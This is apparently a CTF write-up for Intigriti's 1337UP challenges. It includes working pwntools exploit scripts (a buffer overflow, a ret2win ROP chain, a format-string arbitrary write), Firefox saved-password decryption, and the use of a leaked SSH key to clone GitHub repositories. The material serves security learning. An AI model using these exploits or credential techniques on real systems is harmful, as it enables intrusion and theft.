-
Warmup
Socials
- 387 solves
created by CryptoCat
Have a look around our socials, maybe you’ll find some flags! Don’t forget to hit follow while you’re there 🥺
Flag format: INTIGRITI{Twitter+YouTube+Reddit}
The goal of this challenge was to check comments under post/video about the ongoing 1337UP CTF on different Integriti social media profiles. The flag was encoded differntly for each platform (base64, hex, binary).
Lost Program
- 626 solves
created by CryptoCat
I was working on a bug bounty program the other day but I completely forgot the name!! I guess that will teach me not to use emoji notation in future 😩 Anyway, if you could help me find it again, I’d really appreciate it! Here’s my notes..
TODO: find lots of 😎🐛 on 🥷🥝🎮
Hint: flag format = INTIGRITI{company_name}
The company in question was Ninja Kiwi Games
.
IrrORversible
- 222 solves
created by CryptoCat
So reversible it’s practically irreversible
nc irrorversible.ctf.intigriti.io 1330
Actually the encryption is reversible. Since it’s just XOR, the key can be easily recovered.
from pwn import *
p = remote('irrorversible.ctf.intigriti.io', 1330)
p.recvuntil(b':')
p.sendline(b'A'*255)
p.recvuntil(b'(hex format):\n')
hexdata = p.recvuntil(b'\n')[4:-6]
print('encrypted:', hexdata)
p.recvall()
ks = xor(bytes.fromhex(hexdata.decode('utf-8')), b'A'*255)
print('keystream:', ks)
[┤] Opening connection to irrorversible.ctf.intigriti.io on port 1330: Trying 54[+] Opening connection to irrorversible.ctf.intigriti.io on port 1330: Done
encrypted: b'082f61190e136136246135333432356d612f2e612f24242561352e6127282629356d610328353261272d283161202f256125202f22246d61282f61252038612e33612f282629356f61152e61223320222a6135292832612a24386d61382e34612c343235612439312d2e33246d61080f150806130815083a23757470221e3971331e362975767e3c6d6129282525242f6120356128353261222e33246f61122928273561202f256135362832356d613529332e34262961232835326126202d2e33246d610e2f2d38613529246123332037246136282d2d61322e2d372461190e136632612d2e33246f082f61190e136136246135333432356d612f2e612f246f'
[+] Receiving all data: Done (27B)
[*] Closed connection to irrorversible.ctf.intigriti.io port 1330
keystream: b"In XOR we trust, no need to fight, Bits flip and dance, in day or night. To crack this key, you must explore, INTIGRITI{b451c_x0r_wh47?}, hidden at its core. Shift and twist, through bits galore, Only the brave will solve XOR's lore.In XOR we trust, no ne."
Layers
- 126 solves
created by CryptoCat
Weird way to encode your data, but OK! 🤷♂️
The attached zip
file has a lot of 8 byte files in it.
$ unzip -l layers.zip
Archive: layers.zip
Length Date Time Name
--------- ---------- ----- ----
8 2024-08-19 17:09 48
8 2024-08-19 17:10 45
8 2024-08-19 17:10 6
8 2024-08-19 17:11 25
8 2024-08-19 17:11 55
8 2024-08-19 17:12 39
8 2024-08-19 17:12 29
8 2024-08-19 17:13 32
8 2024-08-19 17:13 24
8 2024-08-19 17:14 12
8 2024-08-19 17:14 8
8 2024-08-19 17:15 31
8 2024-08-19 17:15 52
8 2024-08-19 17:16 15
8 2024-08-19 17:16 46
8 2024-08-19 17:17 54
8 2024-08-19 17:17 1
8 2024-08-19 17:18 36
8 2024-08-19 17:18 43
8 2024-08-19 17:19 50
8 2024-08-19 17:19 13
8 2024-08-19 17:20 30
8 2024-08-19 17:20 28
8 2024-08-19 17:21 21
8 2024-08-19 17:21 3
8 2024-08-19 17:22 23
8 2024-08-19 17:22 47
8 2024-08-19 17:23 16
8 2024-08-19 17:23 18
8 2024-08-19 17:24 44
8 2024-08-19 17:24 9
8 2024-08-19 17:25 49
8 2024-08-19 17:25 7
8 2024-08-19 17:26 35
8 2024-08-19 17:26 42
8 2024-08-19 17:27 37
8 2024-08-19 17:27 33
8 2024-08-19 17:28 0
8 2024-08-19 17:28 20
8 2024-08-19 17:29 5
8 2024-08-19 17:29 11
8 2024-08-19 17:30 22
8 2024-08-19 17:30 51
8 2024-08-19 17:31 38
8 2024-08-19 17:31 17
8 2024-08-19 17:32 14
8 2024-08-19 17:32 4
8 2024-08-19 17:33 19
8 2024-08-19 17:33 34
8 2024-08-19 17:34 53
8 2024-08-19 17:34 41
8 2024-08-19 17:35 10
8 2024-08-19 17:35 26
8 2024-08-19 17:36 40
8 2024-08-19 17:36 27
8 2024-08-19 17:37 2
--------- -------
448 56 files
Turns out each file is just one byte encoded in binary. I wrote a quick script to decode extracted data.
import os
import base64
l2 = b''
for item in os.listdir('layers/'):
itempath = os.path.join('layers', item)
with open(itempath) as f:
data = f.read()
l2 += bytes([int(data, 2)])
#print(l2)
print(base64.b64decode(l2))
BabyFlow
- 438 solves
created by CryptoCat
Does this login application even work?!
nc babyflow.ctf.intigriti.io 1331
In the main function of the decompiled binary program checks the password with hard-coded string and wants the user to be admin.
undefined8 main(void)
{
int iVar1;
char user_input [44];
int is_admin;
is_admin = 0;
printf("Enter password: ");
fgets(user_input,50,stdin);
iVar1 = strncmp(user_input,"SuPeRsEcUrEPaSsWoRd123",22);
if (iVar1 == 0) {
puts("Correct Password!");
if (is_admin == 0) {
puts("Are you sure you are admin? o.O");
}
else {
puts("INTIGRITI{the_flag_is_different_on_remote}");
}
}
else {
puts("Incorrect Password!");
}
return 0;
}
fgets
loads 50 bytes into 44 char buffer so we have a buffer overflow here so it’s possible to override is_admin
.
Enter password: SuPeRsEcUrEPaSsWoRd123AAAAAAAAAAAAAAAAAAAAAAAAAAAA
Correct Password!
INTIGRITI{b4bypwn_9cdfb439c7876e703e307864c9167a15}
In Plain Sight
- 465 solves
created by CryptoCat
Barely hidden tbh..
Running binwalk on meow.jpg
we can extract zip
file placed at the end. In the strings we can see some weird string which turns out to be the password.
...
YoullNeverGetThis719482
flag.pngUT
flag.pngUT
The extracted png
image appears to be completely white but I wrote a script that replaces all non-white colors with black and I got the flag.
Rigged Slot Machine 1
created by CryptoCat
The casino thinks they’ve rigged their slots so well, they can give every player $100 free play! Of course, there’s always some small print: you can’t cash out unless you hit the jackpot and each player only gets 3 minutes play time
nc riggedslot1.ctf.intigriti.io 1332
Looking at the decompiled source code and observing the game behavior, I noticed the game is set up in the user’s favour. There’s 30% chance you win something.
rand_0_99 = rand();
rand_0_99 = rand_0_99 % 100;
if (rand_0_99 == 0) {
multiplier = 100;
}
else if (rand_0_99 < 10) {
multiplier = 5;
}
else if (rand_0_99 < 15) {
multiplier = 3;
}
else if (rand_0_99 < 20) {
multiplier = 2;
}
else if (rand_0_99 < 30) {
multiplier = 1;
}
else {
multiplier = 0;
}
won_amount = bet_amount * multiplier - bet_amount;
if ((int)won_amount < 1) {
if ((int)won_amount < 0) {
printf("You lost $%d.\n",(ulong)-won_amount);
}
else {
puts("No win, no loss this time.");
}
}
else {
printf("You won $%d!\n",(ulong)won_amount);
}
*money = *money + won_amount;
I constructed this payload and after running it a few times I got the flag.
python -c 'print("10\n"*100 + "100\n"*2400)' | nc riggedslot1.ctf.intigriti.io 1332
-
Pwn
Rigged Slot 2
- 222 solves
created by CryptoCat
The casino fixed their slot machine algorithm - good luck hitting that jackpot now! 🤭
nc riggedslot2.ctf.intigriti.io 1337
After decompilation with Ghidra, we can see vulnerable function enter_name
which uses gets
to fill the 20 byte buffer.
void enter_name(char *input_buf)
{
puts("Enter your name:");
gets(input_buf);
printf("Welcome, %s!\n",input_buf);
return;
}
void main(void)
{
time_t tVar1;
int local_2c;
char input_buf [20];
uint n_points;
int local_10;
__gid_t local_c;
setvbuf(stdout,(char *)0x0,2,0);
local_c = getegid();
setresgid(local_c,local_c,local_c);
tVar1 = time((time_t *)0x0);
srand((uint)tVar1);
setup_alarm(5);
n_points = 100;
puts("Welcome to the Rigged Slot Machine!");
puts("You start with $100. Can you beat the odds?");
enter_name(input_buf);
do {
while( true ) {
while( true ) {
local_2c = 0;
printf("\nEnter your bet amount (up to $%d per spin): ",100);
local_10 = __isoc99_scanf(&DAT_0010224e,&local_2c);
if (local_10 == 1) break;
puts("Invalid input! Please enter a numeric value.");
clear_input();
}
if ((local_2c < 1) || (100 < local_2c)) break;
if ((int)n_points < local_2c) {
printf("You cannot bet more than your Current Balance: $%d\n",(ulong)n_points);
}
else {
play(local_2c,&n_points);
if (n_points == 1337420) {
payout(&n_points);
}
}
}
printf("Invalid bet amount! Please bet an amount between $1 and $%d.\n",100);
} while( true );
}
Since the money amount is placed directly after the name buffer on the stack, we can overwrite it with a simple buffer overflow exploit.
We put the 1$
bet and set money to 1337420+1$
since we will probably lose the first bet.
payload = b'A'*20
payload += int.to_bytes(1337420+1, 8, 'little')
payload += b'\n1\n'
with open('rigged2.bin', 'wb') as f:
f.write(payload)
$ cat rigged2.bin | nc riggedslot2.ctf.intigriti.io 1337
Welcome to the Rigged Slot Machine!
You start with $100. Can you beat the odds?
Enter your name:
Welcome, AAAAAAAAAAAAAAAAAAAAMh!
Enter your bet amount (up to $100 per spin): You lost $1.
Current Balance: $1337420
Congratulations! You've won the jackpot! Here is your flag: INTIGRITI{1_w15h_17_w45_7h15_345y_1n_v3645}
Retro2Win
- 202 solves
created by CryptoCat
So retro.. So winning..
nc retro2win.ctf.intigriti.io 1338
Decompiling the binary we discovered undocumented functionality. We can try entering cheat_mode
by typing 1337
in main menu.
We can’t simply enter the cheat_mode
since without passing certain parameters we’re unauthorized.
void cheat_mode(long param_1,long param_2)
{
char *pcVar1;
char local_58 [72];
FILE *local_10;
if ((param_1 == 0x2323232323232323) && (param_2 == 0x4242424242424242)) {
puts("CHEAT MODE ACTIVATED!");
puts("You now have access to secret developer tools...\n");
local_10 = fopen("flag.txt","r");
if (local_10 == (FILE *)0x0) {
puts("Error: Could not open flag.txt");
}
else {
pcVar1 = fgets(local_58,0x40,local_10);
if (pcVar1 != (char *)0x0) {
printf("FLAG: %s\n",local_58);
}
fclose(local_10);
}
}
else {
puts("Unauthorized access detected! Returning to main menu...\n");
}
return;
}
void enter_cheatcode(void)
{
char buf [16];
puts("Enter your cheatcode:");
gets(buf);
printf("Checking cheatcode: %s!\n",buf);
return;
}
int main(void)
{
int choice;
do {
while( true ) {
while( true ) {
show_main_menu();
__isoc99_scanf(&DAT_00400c19,&choice);
getchar();
if (choice != 2) break;
battle_dragon();
}
if (2 < choice) break;
if (choice == 1) {
explore_forest();
}
else {
LAB_0040093b:
puts("Invalid choice! Please select a valid option.");
}
}
if (choice == 3) {
puts("Quitting game...");
return 0;
}
if (choice != 1337) goto LAB_0040093b;
enter_cheatcode();
} while( true );
}
As the name suggests this will be ret2win exploit which is usually executed by overwriting the return address to point to our desired function.
We can do that in enter_cheatcode
function with vulnerable gets
function and buffer overflow just like in previous challenge.
Here we also need to pass some arguments in the rdi
and rsi
registers (this is x86-64 calling convention) since the win function checks them. To do that we’ll use ROP gadgets (jumping to somewhere just before the ret
instruction and executing the code we need).
$ ROPgadget --binary ./retro2win | grep rdi
0x00000000004008ee : add bh, byte ptr [rdi + 7] ; cmp eax, 1 ; je 0x400906 ; jmp 0x40093b
0x00000000004008ed : clc ; add bh, byte ptr [rdi + 7] ; cmp eax, 1 ; je 0x400906 ; jmp 0x40093b
0x0000000000400716 : cmp dword ptr [rdi], 0 ; jne 0x400720 ; jmp 0x4006b0
0x0000000000400715 : cmp qword ptr [rdi], 0 ; jne 0x400720 ; jmp 0x4006b0
0x00000000004009b3 : pop rdi ; ret
$ ROPgadget --binary ./retro2win | grep rsi
0x00000000004009b1 : pop rsi ; pop r15 ; ret
0x0000000000400727 : sal byte ptr [rcx + rsi*8 + 0x55], 0x48 ; mov ebp, esp ; call rax
We can choose 0x4009b3
for rdi
and 0x4009b1
for rsi
. We couldn’t find simple pop rsi ; ret
gadget so we’ll actually pass 3 parameters to the function and discard the third one (r15
).
Here’s full exploitation script:
from pwn import *
BUFFER_SIZE = 16
RET_ADDR_SIZE = 8
PADDING_TO_RET = BUFFER_SIZE + RET_ADDR_SIZE
WIN_ADDR = 0x400736
# ROP gadgets
POP_RDI = 0x4009b3 # pop rdi; ret
POP_RSI_R15 = 0x4009b1 # pop rsi ; pop r15 ; ret
PARAM1 = 0x2323232323232323
PARAM2 = 0x4242424242424242
DUMMY_R15 = 0x4141414141414141
exploit = b""
exploit += b"A" * PADDING_TO_RET
exploit += p64(POP_RDI)
exploit += p64(PARAM1) # parameter 1 in rdi
exploit += p64(POP_RSI_R15)
exploit += p64(PARAM2) # parameter 2 in rsi
exploit += p64(DUMMY_R15) # parameter 3 in r15 (we don't really care)
exploit += p64(WIN_ADDR)
with open('exploit.bin', 'wb') as f:
f.write(b'1337\n')
f.write(exploit)
#p = process('./retro2win')
p = remote('retro2win.ctf.intigriti.io', 1338)
p.sendline(b'1337')
p.sendline(exploit)
print(p.recvall())
Floormat Mega Sale
- 142 solves
created by CryptoCat
The Floor Mat Store is running a mega sale, check it out!
nc floormatsale.ctf.intigriti.io 1339
void employee_access(void)
{
char local_58 [72];
FILE *local_10;
if (employee == 0) {
puts("\nAccess Denied: You are not an employee!");
}
else {
local_10 = fopen("flag.txt","r");
if (local_10 == (FILE *)0x0) {
puts(
"Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are runnin g this on the shell server."
);
/* WARNING: Subroutine does not return */
exit(0);
}
fgets(local_58,0x40,local_10);
printf("Exclusive Employee-only Mat will be delivered to: %s\n",local_58);
fclose(local_10);
}
return;
}
int main(void)
{
int iVar1;
int choice;
char vulnerable_string [256];
char *local_48 [4];
char *local_28;
char *local_20;
__gid_t local_10;
int i;
setvbuf(stdout,(char *)0x0,2,0);
local_48[0] = "1. Cozy Carpet Mat - $10";
local_48[1] = "2. Wooden Plank Mat - $15";
local_48[2] = "3. Fuzzy Shag Mat - $20";
local_48[3] = "4. Rubberized Mat - $12";
local_28 = "5. Luxury Velvet Mat - $25";
local_20 = "6. Exclusive Employee-only Mat - $9999";
local_10 = getegid();
setresgid(local_10,local_10,local_10);
puts(
"Welcome to the Floor Mat Mega Sale!\n\nPlease choose from our currently available floor mats: \n"
);
puts("Please select a floor mat:\n");
for (i = 0; i < 6; i = i + 1) {
puts(local_48[i]);
}
puts("\nEnter your choice:");
__isoc99_scanf(&DAT_00402225,&choice);
if ((0 < choice) && (choice < 7)) {
do {
iVar1 = getchar();
} while (iVar1 != 10);
puts("\nPlease enter your shipping address:");
fgets(vulnerable_string,256,stdin);
puts("\nYour floor mat will be shipped to:\n");
printf(vulnerable_string);
if (choice == 6) {
employee_access();
}
return 0;
}
puts("Invalid choice!\n");
/* WARNING: Subroutine does not return */
exit(1);
}
In this challenge we need to exploit arbitrary write via dangerous printf
call which results in string format vulnerability.
employee
is a global variable of type int
stored at address 0x40408c
. We need to modify it to something different than 0
to get the employee access.
I wrote an exploitation script using pwntools built-in methods to execute arbitrary write on given address.
from pwn import *
context.clear(arch = 'amd64')
binary = './floormat_sale'
elf = ELF(binary)
r = remote('floormatsale.ctf.intigriti.io', 1339)
#r = process(binary)
target_address = 0x0040408c
r.sendline(b'6')
payload = fmtstr_payload(10, {target_address: 1})
with open('paylo.bin', 'wb') as f:
f.write(b'6\r\n')
f.write(payload+b'\n')
print(f"Sending payload: {payload}")
r.sendline(payload)
text = r.recvall()
print(text)
Note here I used 10
as the format string position on the stack. You can check that like this:
Please enter your shipping address:
AAAAAAAA%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p
Your floor mat will be shipped to:
AAAAAAAA0x10x10x7fd6c3dca8870x24(nil)0x7ffc70015dc80x100000000(nil)0x6000000000x41414141414141410x70257025702570250x70257025702570250x70257025702570250x70257025702570250xa0x40
Access Denied: You are not an employee!
Counting from the start, we can see the 0x414141414141414
is on the 10th position.
-
Rev
Secure Bank
- 347 solves
created by CryptoCat
Can you crack the bank?
nc securebank.ctf.intigriti.io 1335
Putting the executable into Ghidra we can see it’s pretty easy to reverse engineer.
bool main(void)
{
undefined4 user_2fa;
int user_pin;
undefined4 generated_2fa;
banner();
login_message();
printf("Enter superadmin PIN: ");
__isoc99_scanf(&DAT_001021ea,&user_pin);
if (user_pin == 1337) {
generated_2fa = generate_2fa_code(1337);
printf("Enter your 2FA code: ");
__isoc99_scanf(&DAT_001021ea,&user_2fa);
validate_2fa_code(user_2fa,generated_2fa);
}
else {
puts("Access Denied! Incorrect PIN.");
}
return user_pin != 1337;
}
The pin is 1337, however for the “2nd factor” some kind of generator is involved.
I extracted the 2FA generator code and put it into a C file.
#include <stdint.h>
#include <stdio.h>
typedef unsigned int uint;
uint obscure_key(uint k) {
return ((k ^ 0xa5a5a5a5) << 3 | (k ^ 0xa5a5a5a5) >> 0x1d) * 0x1337 ^ 0x5a5a5a5a;
}
uint generate_2fa_code(int seed_1337)
{
int i;
uint seed_copy;
uint obs_seed;
seed_copy = seed_1337 * 48879;
obs_seed = seed_copy;
for (i = 0; i < 10; i = i + 1) {
obs_seed = obscure_key(obs_seed);
seed_copy = ((seed_copy ^ obs_seed) << 5 | (seed_copy ^ obs_seed) >> 0x1b) +
(obs_seed << ((char)i + (char)(i / 7) * -7 & 0x1fU) ^
obs_seed >> ((char)i + (char)(i / 5) * -5 & 0x1fU));
}
return seed_copy & 0xffffff;
}
int main(int argc, char** argv) {
printf("Code: %u\n", generate_2fa_code(1337));
return 0;
}
Now we can generate 2FA for 1337
and get the flag.
TriForce Recon
- 178 solves
created by Mohamed Adil
you have intercepted a classified message that has been divided into three encrypted executables and were each hidden on different operating systems.
Flag format: INTGRITI{Flag1+Flag2+Flag3}
We were given 3 different executables in a zip
archive. Each of them compiled for different OS: Linux, OS X and Windows.
I first analyzed the Linux one (Courage.out
)
undefined8 main(void)
{
int flag_ok;
size_t len;
char magic [2];
undefined xorred_correct [64];
char xor_out [64];
char user_key [56];
char *xorred_correct_hex;
xorred_correct_hex = "775a5051034d5644706002635f467d0570030558454b";
hexToString("775a5051034d5644706002635f467d0570030558454b",xorred_correct);
magic[0] = '1';
magic[1] = '6';
printf("Enter the correct passphrase: ");
__isoc99_scanf(&DAT_00102057,user_key);
len = strlen(user_key);
xor_encrypt(user_key,xor_out,magic,(int)len);
len = strlen(user_key);
flag_ok = memcmp(xor_out,xorred_correct,len);
if (flag_ok == 0) {
printf("Correct! The flag is: ");
printf(user_key);
}
else {
puts("Wrong passphrase!");
}
return 0;
}
The magic string appears to be XORed with repeating 16
. We can recreate this in Python.
>>> from pwn import xor
>>> xor(bytes.fromhex('775a5051034d5644706002635f467d0570030558454b'), b'16') # Linux
b'Flag2{grAV3UnpL3A54nt}'
Other two executables do essentially the same thing just with different numbers and hex strings.
>>> xor(bytes.fromhex('755e525500496177065b057c076602025d6152467a0755735046025d5d4f'), b'32') # OS X
b'Flag3{RE5i6N4T10nSatI5fAct1on}'
>>> xor(bytes.fromhex('7e54595f09434b0f4a5d59757b514a5b6d550d0f0c765b7d45'), b'8') # Win
b'Flag1{s7reaMCircUm574NcE}'
-
Crypto
Schrödinger’s Pad
- 172 solves
created by CryptoCat
Everyone knows you can’t reuse a OTP, but throw in a cat and a box.. Maybe it’s secure?
nc pad.ctf.intigriti.io 1348
The server first displays encrypted (XORed + some tricks) text and then allows the user to encrypt arbitrary data using the same key. The only real obstacle is this cat which can have two states. The tricks used after XORing are different for dead and alive cat. The state is choosen at random so we have 50% of getting the correct trick.
from pwn import *
def decrypt(data):
out = []
for b in data:
b ^= 0xca
b = ((b<<1) | (b>>7)) & 0xff
out.append(b)
return bytes(out)
print('a'*160)
print('Encrypt this and type the answer (cat has to be dead):')
ans = input()
key = xor(decrypt(bytes.fromhex(ans)), b'a'*160)
print('key:', key)
-
Forensics
CTF Mind Tricks
- 239 solves
created by CryptoCat
There’s an ongoing investigation into the communications of two potential hackers. As far as I can see, they only shared some music with each other but the feds are convinced something nefarious is going on. Let me know if you can find anything 🔎
We’re provided with a pcap
file. It shows communication over SMB2
file protocol and the transmitted file is _Capture the Flag Kings.wav
.
After extracting it from the pcap
the flag can be read using spectrogram view.
Password Management
- 37 solves
created by CryptoCat
My computer broke and I don’t know what to do! Can you take a look at the drive? There shouldn’t be any sensitive information on there, I deleted personal files a while ago..
https://cybersharing.net/s/2a4eb4e4898ea705 OR https://drive.google.com/file/d/1nqBZFtaw6UU1hiDT67USLCtLNfM-yr1f/view?usp=sharing
$ file disk.E01
disk.E01: EWF/Expert Witness/EnCase image file format
We’re given an Expert Witness File containing allegedly lost password. I’ve never actually used this format but after a bit of research I found libewf which enables mounting such files on Linux.
I used this guide to mount the E01
file. Then I ran binwalk to extract the filesystem from disk.
Under C:/Users/cat/AppData/Roaming/Mozilla/Firefox/Profiles/0wzgz3ay.default-release
I found a Mozilla Firefox profile with key4.db
containing login encrypted login details for https://super-really-real-bank.com
.
This has to be what we’re looking for. I tried using firefox_decrypt to get the login and password however it didn’t work.
They had to have a master password.
Looking at other files in the system (particularly in AppData
) I found one image in the VMware cache (C:/Users/cat/AppData/Local/Temp/vmware-cat/VMwareDnD/6f45e85b
).
This was the master password to unlock Firefox’es password manager.
$ python ~/Documents/firefox_decrypt/firefox_decrypt.py .
Select the Mozilla profile you wish to decrypt
1 -> Profiles/hidmbk12.default
2 -> Profiles/0wzgz3ay.default-release
2
Primary Password for profile ./Profiles/0wzgz3ay.default-release:
Website: https://super-really-real-bank.com
Username: 'cat'
Password: 'INTIGRITI{4n_unf0r7un473_53r135_0f_m1574k35}'
-
OSINT
Private Github Repository
- 143 solves
created by Ivars Vids
Bob Robizillo created a public instructions for Tiffany, so she can start work on new secret project. can you access the secret repository?
Putting Bob Robizillo
into Google yields this gist.
Dear Tiffany,
I hope this message finds you well. To streamline our collaboration on the 1337up repository, I kindly ask you to add the enclosed SSH key to your account. This step is crucial for enabling a seamless forking process and enhancing our project efficiency.
Thank you for your prompt attention to this matter.
Best regards, Bob Robizillo
{base64 encoded ssh id}
I decoded the id_rsa
(base64 decode, extract zip) and imported it into ssh agent.
$ eval "$(ssh-agent -s)"
Agent pid 236193
$ chmod 600 id_rsa
$ ssh-add ./id_rsa
$ ssh -T git@github.com
Hi nitrofany! You've successfully authenticated, but GitHub does not provide shell access.
Then I was able to clone the 1337up
repository from bob-193.
$ git clone git@github.com:bob-193/1337up.git
$ cd 1337up
$ git log
commit 5f73d374eace947a4fb12a8e81ceb5a8ca849807 (HEAD -> main, origin/main, origin/HEAD)
Author: bob-193 <148455791+bob-193@users.noreply.github.com>
Date: Mon Aug 19 14:04:04 2024 +0300
init
$ cat readme.md
Hey, Tiffany! You will need to save this repo in your user space and implement changes we agreed earlier.
Hmm… nothing interesting to see here. However I realised Tiffany was asked to fork the repository. Maybe I could clone the 1337up
repo from Tiffany’s own fork and check the changes she made.
$ git clone git@github.com:nitrofany/1337up.git
$ cd 1337up
$ git log
commit 0f2ad0478e2acc0536be49ecefcb5e12cf797228 (HEAD -> main, origin/main, origin/HEAD)
Author: root <root@vmi1519856.contaboserver.net>
Date: Mon Aug 19 14:17:45 2024 +0200
update
commit 5c18888418fd3f2a9d76cfd278b69c1f7c41ba4f
Author: root <root@vmi1519856.contaboserver.net>
Date: Mon Aug 19 14:15:57 2024 +0200
update
commit d127325918e586ed6bfbd7fff94e049378d5694b
Author: root <root@vmi1519856.contaboserver.net>
Date: Mon Aug 19 14:14:02 2024 +0200
update
commit 5f73d374eace947a4fb12a8e81ceb5a8ca849807
Author: bob-193 <148455791+bob-193@users.noreply.github.com>
Date: Mon Aug 19 14:04:04 2024 +0300
Running diff on one of those commits we see at some point certain submodule was added to the repo.
$ git diff 5c18888418fd3f2a9d76cfd278b69c1f7c41ba4f
diff --git a/.gitmodules b/.gitmodules
deleted file mode 100644
index 0f2b51c..0000000
--- a/.gitmodules
+++ /dev/null
@@ -1,3 +0,0 @@
-[submodule "config"]
- path = config
- url = https://github.com/nitrofany/01189998819991197253
diff --git a/config/.env b/config/.env
new file mode 100644
index 0000000..1758539
--- /dev/null
+++ b/config/.env
@@ -0,0 +1 @@
+flag=replace with production INTIGRITI{...}
Let’s try to clone it as well…
$ git clone git@github.com:nitrofany/01189998819991197253.git
$ cd 01*
$ ls -la
$ cat flag.md
# INTIGRITI{9e0121bb8bce15ead3d7f529a81b77b4}
And we got the flag :)
No Comment
- 100 solves
created by CryptoCat
Or is there? 🤔
There’s a jpg
image attached to this challenge.
Just checking the Exif tags we can see that there’s a comment indeed.
$ exiftool ripple.jpg | grep Comment
Comment : /a/pq6TgwS
After a bit of digging it turns out this kind of url scheme is used by imgur. Going to https://imgur.com/a/pq6TgwS we can see the same image with the following base64 string in the description.
V2hhdCBhICJsb25nX3N0cmFuZ2VfdHJpcCIgaXQncyBiZWVuIQoKaHR0cHM6Ly9wYXN0ZWJpbi5jb20vRmRjTFRxWWc=
It decodes to:
What a "long_strange_trip" it's been!
https://pastebin.com/FdcLTqYg
Following this url, we’re asked for a password to unlock the paste. Since long_strange_trip
is quoted in the decoded text, I typed it in.
Now we have access to the paste but it turns out to just be a hexstring.
25213a2e18213d2628150e0b2c00130e020d024004301e5b00040b0b4a1c430a302304052304094309
XORing it with the password from earlier gives us the flag.
>>> xor(bytes.fromhex('25213a2e18213d2628150e0b2c00130e020d024004301e5b00040b0b4a1c430a302304052304094309'), b'long_strange_trip')
b'INTIGRITI{instagram.com/reel/C7xYShjMcV0}'
Trackdown
- 392 solves
created by CryptoCat
There’s a fugitive on the loose and we need to track him down! He posted this to social media recently, do you know where the photograph was taken from? If you can provide the precise building, we can move in immediately 🚔
Flag format: INTIGRITI{Location_Name}
Image appears to be taken from some restaurant table near the Trang Tien Plaza, a large shopping centre in Hanoi.
Watching restaurants near the entry to Trang Tien Plaza I stumbled across this image. Recognizing the table from the image we can confidently say, the place is Si Lounge Hanoi
.
Trackdown 2
- 341 solves
created by CryptoCat
We didn’t get him in time 😫 Thankfully, we don’t believe he’s fled the country yet. He uploaded another photo this morning, it’s as if he’s taunting us! Anyway, this may be our last chance - do you know where he is right now?
Flag format: INTIGRITI{Location_Name}
This challenge was quite a bit harder than the previous one. Of course we see the A25 Hotel
in the distance. However it turns out there are a dozen of those hotels in Hanoi alone (it’s a bit like hotel chain if you can call it like that).
My second observation was the presence of Little Hanoi Egg Coffee
restaurant above the street. This is also a chain of restaurants or coffee shops in Hanoi however this one is quite unique.
The only Egg Coffee
placed few meters above the street was this one. It looks very familiar and is placed near A25 hotel and church.
After a brief lookout I found the most probable place this picture was taken from was the Hotel at the corner of the street. It offers a view of the Bus Station, Egg Coffee, and the A25 in the distance.
The Hotel is named Express by M Village Phạm Ngũ Lão
.
-
Misc
Quick Recovery
- 281 solves
created by CryptoCat
Hey, check this QR code ASAP! It’s highly sensitive so I scrambled it, but you shouldn’t have a hard time reconstructing - just make sure to update the a_order to our shared PIN. The b_order is the reverse of that 😉
Attached zip
file contains a scrambled QR code and a Python script used to generate it.
I modified the generator script given to brute-force triangle placement.
The authors also left the from itertools import permutations
statement which gave a hint on how to solve this.
I used pyzbar
library to test if the image contains decodable QR code and decode it.
from PIL import Image, ImageDraw
from itertools import permutations
from pyzbar.pyzbar import decode
import subprocess
qr_code_image = Image.open("obscured.png")
width, height = qr_code_image.size
half_width, half_height = width // 2, height // 2
squares = {
"1": (0, 0, half_width, half_height),
"2": (half_width, 0, width, half_height),
"3": (0, half_height, half_width, height),
"4": (half_width, half_height, width, height)
}
def split_square_into_triangles(img, box):
x0, y0, x1, y1 = box
a_triangle_points = [(x0, y0), (x1, y0), (x0, y1)]
b_triangle_points = [(x1, y1), (x1, y0), (x0, y1)]
def crop_triangle(points):
mask = Image.new("L", img.size, 0)
draw = ImageDraw.Draw(mask)
draw.polygon(points, fill=255)
triangle_img = Image.new("RGBA", img.size)
triangle_img.paste(img, (0, 0), mask)
#triangle_img.show()
return triangle_img.crop((x0, y0, x1, y1))
return crop_triangle(a_triangle_points), crop_triangle(b_triangle_points)
triangle_images = {}
for key, box in squares.items():
triangle_images[f"{key}a"], triangle_images[f"{key}b"] = split_square_into_triangles(
qr_code_image, box)
orders = ["1", "2", "3", "4"] # UPDATE ME
cnt = 0
for a_order in permutations(orders):
for b_order in permutations(orders):
final_positions = [
(0, 0),
(half_width, 0),
(0, half_height),
(half_width, half_height)
][::-1]
reconstructed_image = Image.new("RGBA", qr_code_image.size)
for i in range(4):
a_triangle = triangle_images[f"{a_order[i]}a"]
b_triangle = triangle_images[f"{b_order[i]}b"]
combined_square = Image.new("RGBA", (half_width, half_height))
combined_square.paste(a_triangle, (0, 0))
combined_square.paste(b_triangle, (0, 0), b_triangle)
reconstructed_image.paste(combined_square, final_positions[i])
#reconstructed_image.save(f"obscured{cnt}.png")
#print(f"Reconstructed QR code saved as 'obscured{cnt}.png'")
data = decode(reconstructed_image)
if data:
print(data)
cnt += 1